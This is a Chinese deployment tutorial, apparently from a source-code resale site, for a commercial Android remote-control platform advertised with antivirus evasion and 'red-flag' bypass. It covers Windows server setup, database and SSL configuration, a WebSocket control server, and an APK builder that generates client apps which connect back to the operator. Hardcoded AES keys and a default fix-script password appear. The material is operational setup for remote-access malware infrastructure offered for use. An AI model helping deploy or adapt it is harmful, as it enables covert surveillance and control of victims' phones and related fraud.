飞鹰科技源码+安卓同屏远控+免杀爆红完整部署教程
SQLRCE 项目完整部署教程
Windows Server 2022 版本
目录:
1. 环境准备与下载
2. 环境安装步骤
3. 项目文件部署
4. 数据库配置
5. 域名与SSL配置
6. WebSocket服务配置
7. 域名修复(重要)
8. 防火墙配置
9. 重要文件路径说明
10. 常见问题与解决方案
11. 维护与管理命令
================================================================================
1. 环境准备与下载
================================================================================
【必需软件下载链接】
1. XAMPP (Apache + MySQL + PHP)
下载地址: https://www.apachefriends.org/download.html
版本要求: 8.2.x 或更高
直接链接: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe
2. Node.js (WebSocket服务器)
下载地址: https://nodejs.org/
版本要求: 18.x 或 20.x LTS
直接链接: https://nodejs.org/dist/v20.11.0/node-v20.11.0-x64.msi
3. Java JDK (APK构建)
下载地址: https://adoptium.net/
版本要求: JDK 17 或 21
直接链接: https://adoptium.net/temurin/releases/
4. PM2 (Node进程管理) – 通过npm安装
npm install -g pm2
5. win-acme (SSL证书) – 可选
下载地址: https://github.com/win-acme/win-acme/releases
================================================================================
2. 环境安装步骤
================================================================================
【步骤 2.1】安装 XAMPP
———————–
1. 运行 xampp-windows-x64-8.2.12-0-VS16-installer.exe
2. 安装路径选择: C:xampp
3. 组件全选(Apache, MySQL, PHP, phpMyAdmin)
4. 安装完成后打开 XAMPP Control Panel
5. 启动 Apache 和 MySQL 服务
【步骤 2.2】安装 Node.js
————————
1. 运行 node-v20.11.0-x64.msi
2. 默认安装即可
3. 验证安装:
打开 PowerShell,执行:
node –version
npm –version
【步骤 2.3】安装 Java JDK
————————-
1. 运行 JDK 安装程序
2. 安装完成后配置环境变量:
– 系统变量 JAVA_HOME = C:Program FilesEclipse Adoptiumjdk-21.0.x.x-hotspot
– Path 添加: %JAVA_HOME%bin
3. 验证安装:
java -version
【步骤 2.4】安装 PM2
——————–
打开 PowerShell (管理员),执行:
npm install -g pm2
================================================================================
3. 项目文件部署
================================================================================
【步骤 3.1】部署项目文件
————————
1. 将项目文件复制到: C:xampphtdocs
2. 确保目录结构如下:
C:xampphtdocs
├── api # API接口
│ ├── ws # WebSocket服务器
│ │ ├── websocket-server.js
│ │ ├── package.json
│ │ └── node_modules
│ ├── EaodLogin.php
│ ├── Ping.php
│ └── …
├── assets # 前端静态资源
│ ├── index-rDpwcn9W.js
│ ├── ping-D8Q5sJGO.js
│ └── …
├── private # 后台管理
│ ├── Eaod85401.php # 核心配置文件
│ ├── create.php # 总后台入口
│ └── apkstub # APK模板
├── user # 用户生成的APK存放
├── index.html # 前端入口
└── .htaccess # URL重写规则
【步骤 3.2】安装 WebSocket 依赖
——————————
打开 PowerShell,执行:
cd C:xampphtdocsapiws
npm install
【步骤 3.3】解除 Windows 安全限制
———————————
PowerShell (管理员) 执行:
Get-ChildItem -Path “C:xampphtdocsprivate” -Recurse | Unblock-File
Get-ChildItem -Path “C:xampphtdocsprivateapkstub” -Filter “*.exe” -Recurse | Unblock-File
================================================================================
4. 数据库配置
================================================================================
【步骤 4.1】创建数据库
———————-
1. 打开浏览器访问: http://localhost/phpmyadmin
2. 点击”新建”创建数据库
3. 数据库名: clients
4. 排序规则: utf8mb4_general_ci
【步骤 4.2】导入数据库
———————-
1. 选择 clients 数据库
2. 点击”导入”
3. 选择 full_database.sql 或 clients.sql 文件
4. 编码选择: UTF-8
5. 点击”执行”
【步骤 4.3】配置数据库连接
————————–
编辑配置文件: C:xampphtdocsprivateEaod85401.php
找到以下内容并修改:
define(‘DB_SERVER’, ‘localhost’); // 数据库服务器
define(‘DB_USERNAME’, ‘root’); // 数据库用户名
define(‘DB_PASSWORD’, ”); // 数据库密码(XAMPP默认为空)
define(‘DB_NAME’, ‘clients’); // 数据库名
【步骤 4.4】修改数据库密码(可选)
———————————-
方法1: 通过 phpMyAdmin
1. 访问 http://localhost/phpmyadmin
2. 点击”用户账户”
3. 选择 root 用户,点击”编辑权限”
4. 点击”修改密码”
5. 输入新密码并确认
方法2: 通过命令行
C:xamppmysqlbinmysql -u root -e “ALTER USER ‘root’@’localhost’ IDENTIFIED BY ‘新密码’;”
注意: 修改密码后必须同步修改 Eaod85401.php 中的 DB_PASSWORD
================================================================================
5. 域名与SSL配置
================================================================================
【步骤 5.1】域名解析
——————–
在域名服务商处添加 A 记录:
– 主机记录: @
– 记录类型: A
– 记录值: 你的服务器公网IP
【步骤 5.2】使用 win-acme 获取免费SSL证书
—————————————–
1. 下载并解压 win-acme
2. 运行 wacs.exe
3. 选择: N (创建新证书)
4. 选择: 2 (手动输入)
5. 输入域名: yourdomain.com
6. 选择: 1 (域名分别证书)
7. 选择: 1 (HTTP文件验证)
8. 路径输入: C:xampphtdocs
9. 选择: 2 (PEM格式)
10. 路径输入: C:xamppapacheconf
11. 密码选择: 1 (无密码)
12. 后续步骤选择: 5 (无额外操作)
13. 安装步骤: 3 (无额外操作)
证书文件会生成在: C:xamppapacheconf
– yourdomain.com-chain.pem (证书链)
– yourdomain.com-key.pem (私钥)
【步骤 5.3】配置 Apache SSL
—————————
1. 编辑 C:xamppapacheconfhttpd.conf
取消以下行的注释(删除行首的#):
LoadModule ssl_module modules/mod_ssl.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
Include conf/extra/httpd-ssl.conf
2. 编辑 C:xamppapacheconfextrahttpd-ssl.conf
修改以下内容:
<VirtualHost _default_:443>
DocumentRoot “C:/xampp/htdocs”
ServerName yourdomain.com:443
SSLEngine on
SSLCertificateFile “conf/yourdomain.com-chain.pem”
SSLCertificateKeyFile “conf/yourdomain.com-key.pem”
<Directory “C:/xampp/htdocs”>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# WebSocket 代理配置
ProxyRequests Off
ProxyPreserveHost On
ProxyPass /api/ws/ ws://127.0.0.1:8080/
ProxyPassReverse /api/ws/ ws://127.0.0.1:8080/
ProxyPass /ws ws://127.0.0.1:8080/
ProxyPassReverse /ws ws://127.0.0.1:8080/
</VirtualHost>
3. 重启 Apache
在 XAMPP Control Panel 点击 Apache 的 Stop,再点击 Start
================================================================================
6. WebSocket服务配置
================================================================================
【步骤 6.1】启动 WebSocket 服务
——————————-
打开 PowerShell,执行:
cd C:xampphtdocsapiws
pm2 start websocket-server.js –name ws-server
【步骤 6.2】设置开机自启
————————
pm2 save
pm2 startup
注意: Windows 下 pm2 startup 可能提示不支持,可忽略此错误。
使用计划任务实现开机自启:
1. 打开”任务计划程序”
2. 创建基本任务
3. 触发器: 计算机启动时
4. 操作: 启动程序
5. 程序: C:UsersAdministratorAppDataRoamingnpmpm2.cmd
6. 参数: resurrect
【步骤 6.3】PM2 常用命令
————————
pm2 list # 查看所有进程
pm2 logs ws-server # 查看日志
pm2 restart ws-server # 重启服务
pm2 stop ws-server # 停止服务
pm2 delete ws-server # 删除服务
================================================================================
7. 域名修复(重要!)
================================================================================
部署到新服务器后,必须修复前端的域名配置!
【方法1】使用域名修复脚本
————————-
1. 将 domain_fix.php 放到 C:xampphtdocsapi 目录
2. 访问: https://yourdomain.com/api/domain_fix.php
3. 密码: fix123
4. 旧域名填: localhost 或 p4q2.cn (原项目域名)
5. 新域名填: yourdomain.com (你的域名)
6. 点击执行
7. 完成后删除 domain_fix.php
【方法2】手动 PowerShell 修复
—————————–
# 计算加密值
$key = [System.Text.Encoding]::UTF8.GetBytes(‘@zxfNM=q>Drm`6VP)!:u-A~;92E<.?wR’)
$iv = [System.Text.Encoding]::UTF8.GetBytes(‘G8v!h3*Y.P+pFm/;’)
function Encrypt-Domain($domain) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key; $aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$enc = $aes.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($domain)
$encrypted = $enc.TransformFinalBlock($bytes, 0, $bytes.Length)
return [Convert]::ToBase64String($encrypted)
}
# 获取加密值
$oldEnc = Encrypt-Domain “localhost” # 或原域名
$newEnc = Encrypt-Domain “yourdomain.com” # 新域名
# 替换文件
Get-ChildItem “C:xampphtdocsassets*.js” | ForEach-Object {
$c = [IO.File]::ReadAllText($_.FullName)
$c = $c.Replace($oldEnc, $newEnc)
$c = $c.Replace(“http://localhost”, “https://yourdomain.com”)
$c = $c.Replace(“ws://localhost”, “wss://yourdomain.com”)
[IO.File]::WriteAllText($_.FullName, $c)
}
================================================================================
8. 防火墙配置
================================================================================
【入站规则】
打开 PowerShell (管理员),执行:
# 允许 HTTP (80端口)
New-NetFirewallRule -DisplayName “HTTP” -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
# 允许 HTTPS (443端口)
New-NetFirewallRule -DisplayName “HTTPS” -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow
# 允许 WebSocket (8080端口) – 如果不使用Apache代理
New-NetFirewallRule -DisplayName “WebSocket” -Direction Inbound -Protocol TCP -LocalPort 8080 -Action Allow
# 允许 MySQL (3306端口) – 仅本地需要,外网不建议开放
New-NetFirewallRule -DisplayName “MySQL” -Direction Inbound -Protocol TCP -LocalPort 3306 -Action Allow
================================================================================
9. 重要文件路径说明
================================================================================
【核心配置文件】
C:xampphtdocsprivateEaod85401.php
– DB_SERVER: 数据库服务器地址
– DB_USERNAME: 数据库用户名
– DB_PASSWORD: 数据库密码
– DB_NAME: 数据库名
– Secrit_Key: AES加密密钥 (32字符)
– SIV: AES加密IV (16字符)
– Admin_Key: 总后台访问密码
【总后台入口】
C:xampphtdocsprivatecreate.php
访问地址: https://yourdomain.com/private/create.php
密码位置: Eaod85401.php 中的 Admin_Key
【前端入口】
C:xampphtdocsindex.html
访问地址: https://yourdomain.com/
【用户后台】
访问地址: https://yourdomain.com/login
【WebSocket 服务器】
C:xampphtdocsapiwswebsocket-server.js
【APK 模板目录】
C:xampphtdocsprivateapkstubapkstub_template
【APK 构建工具】
C:xampphtdocsprivateapkstub
– EaodStarter.exe: APK构建启动器
– EaodWorker.exe: APK构建工作进程
【用户生成的 APK】
C:xampphtdocsuserapps{用户ID}{包名}
【日志文件】
Apache错误日志: C:xamppapachelogserror.log
Apache访问日志: C:xamppapachelogsaccess.log
PM2日志: C:UsersAdministrator.pm2logs
【数据库管理】
phpMyAdmin: http://localhost/phpmyadmin
================================================================================
10. 常见问题与解决方案
================================================================================
【问题1】APK生成失败,提示”操作已被用户取消”
——————————————–
原因: Windows安全机制阻止了可执行文件
解决:
PowerShell (管理员) 执行:
Get-ChildItem -Path “C:xampphtdocsprivateapkstub” -Filter “*.exe” -Recurse | Unblock-File
【问题2】登录后提示”连接失败”
—————————–
原因: WebSocket服务未运行或配置错误
解决:
1. 检查PM2状态: pm2 list
2. 如果ws-server不是online状态:
cd C:xampphtdocsapiws
pm2 restart ws-server
3. 检查Apache代理配置是否正确
【问题3】浏览器控制台显示 Mixed Content 错误
——————————————-
原因: HTTPS页面请求了HTTP资源
解决: 运行域名修复脚本,确保所有URL都使用https://
【问题4】设备连接后立即掉线
—————————
原因: WebSocket连接被Apache代理断开
解决: 在httpd-ssl.conf中添加:
ProxyTimeout 3600
【问题5】前端显示”Malformed UTF-8 data”错误
——————————————-
原因: 加密域名配置错误
解决: 运行域名修复脚本重新配置
【问题6】数据库连接失败
———————–
原因: 密码不匹配或MySQL未启动
解决:
1. 确认XAMPP Control Panel中MySQL是绿色运行状态
2. 检查Eaod85401.php中的数据库密码是否正确
3. 测试: C:xamppmysqlbinmysql -u root -p
【问题7】SSL证书获取失败
————————
原因: 域名DNS未生效或80端口被占用
解决:
1. 确认域名已正确解析到服务器IP
2. 确认80端口可访问: netstat -an | findstr :80
3. 关闭其他占用80端口的程序
【问题8】APK安装后无法连接服务器
——————————–
原因: Android 9+ 默认禁止HTTP明文通信
解决:
1. 确保使用HTTPS域名
2. 检查APK模板AndroidManifest.xml中是否有:
android:usesCleartextTraffic=”true”
================================================================================
11. 维护与管理命令
================================================================================
【Apache 管理】
启动: C:xamppapachebinhttpd.exe -k start
停止: C:xamppapachebinhttpd.exe -k stop
重启: C:xamppapachebinhttpd.exe -k restart
测试配置: C:xamppapachebinhttpd.exe -t
【MySQL 管理】
启动: C:xamppmysqlbinmysqld.exe
停止: C:xamppmysqlbinmysqladmin -u root shutdown
登录: C:xamppmysqlbinmysql -u root -p
【PM2 管理】
查看状态: pm2 list
查看日志: pm2 logs ws-server
重启服务: pm2 restart ws-server
停止服务: pm2 stop ws-server
删除服务: pm2 delete ws-server
保存配置: pm2 save
【端口检查】
netstat -an | findstr :80
netstat -an | findstr :443
netstat -an | findstr :8080
netstat -an | findstr :3306
【进程检查】
tasklist | findstr httpd
tasklist | findstr mysqld
tasklist | findstr node
================================================================================
快速部署检查清单
================================================================================
[ ] 1. 安装XAMPP并启动Apache+MySQL
[ ] 2. 安装Node.js
[ ] 3. 安装Java JDK
[ ] 4. 复制项目文件到 C:xampphtdocs
[ ] 5. 运行 npm install (在apiws目录)
[ ] 6. 解除exe文件安全限制
[ ] 7. 创建数据库并导入SQL
[ ] 8. 配置 Eaod85401.php 数据库连接
[ ] 9. 域名解析到服务器IP
[ ] 10. 获取SSL证书
[ ] 11. 配置Apache SSL和代理
[ ] 12. 启动WebSocket服务 (pm2)
[ ] 13. 运行域名修复脚本
[ ] 14. 配置防火墙规则
[ ] 15. 测试前端登录
[ ] 16. 测试总后台访问
[ ] 17. 测试APK生成
[ ] 18. 测试APK连接
TP源码网 » 飞鹰科技源码+安卓同屏远控+免杀爆红完整部署教程
